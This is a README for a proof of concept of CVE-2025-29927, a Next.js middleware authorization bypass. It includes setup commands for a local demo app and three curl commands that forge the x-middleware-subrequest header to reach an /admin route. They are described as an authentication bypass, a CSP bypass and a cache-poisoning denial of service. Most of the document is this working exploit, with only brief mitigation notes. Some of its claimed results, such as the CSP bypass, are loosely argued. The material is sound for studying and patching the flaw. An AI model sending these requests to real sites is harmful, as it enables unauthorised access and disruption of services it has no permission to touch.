CVE-2025-29927 PoC — Authorization Bypass in Next.js Middleware

Description

CVE-2025-29927 Proof of Concept

Readme

# CVE-2025-29927: Next.js Middleware Bypass PoC
## Overview
This PoC demonstrates CVE-2025-29927, a vulnerability in Next.js middleware that allows attackers to bypass authentication, authorization, and CSP mechanisms using the x-middleware-subrequest header.

## Affected Versions
Next.js versions 11.1.4 to 15.1.7

## Setup & Installation
1️⃣ Clone & Install the PoC
```sh
git clone https://github.com/Eve-SatOrU/POC-CVE-2025-29927.git
cd POC-CVE-2025-29927
cd Demo 
cd my-next-app
npm install
npm run dev
```

The app will start on http://localhost:3000

## Exploitation Scenarios
### 1️⃣ Bypass Authentication & Authorization (cURL)
1- Use x-middleware-subrequest to gain unauthorized access:

```sh
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
```
💥 Expected result: The response returns admin admin, even though authentication was bypassed.

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![result screenshot](assets/Screenshot.png)

### 2️⃣ CSP Bypass for XSS Injection
If CSP is enforced via middleware, bypass it:

```sh
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -H "Content-Security-Policy: default-src 'self'" \
     http://localhost:3000/admin
```
💥 Expected result: The CSP is ignored, allowing malicious script execution.

### 3️⃣ Cache-Poisoning DoS (CPDoS) Attack
Exploit cache poisoning by forcing a malformed response:

```sh
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -H "Cache-Control: public, max-age=3600" \
     http://localhost:3000/admin
```
💥 Expected result: The page is cached with incorrect content, disrupting normal users.

## Mitigation Strategies
- ✅ Validate middleware logic to prevent bypass . 
- ✅ Upgrade Next.js once a patched version is released .

## Credits
🔍 Discovered by: Allam Rachid (zhero;) & Allam Yasser (inzo_)

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Remarks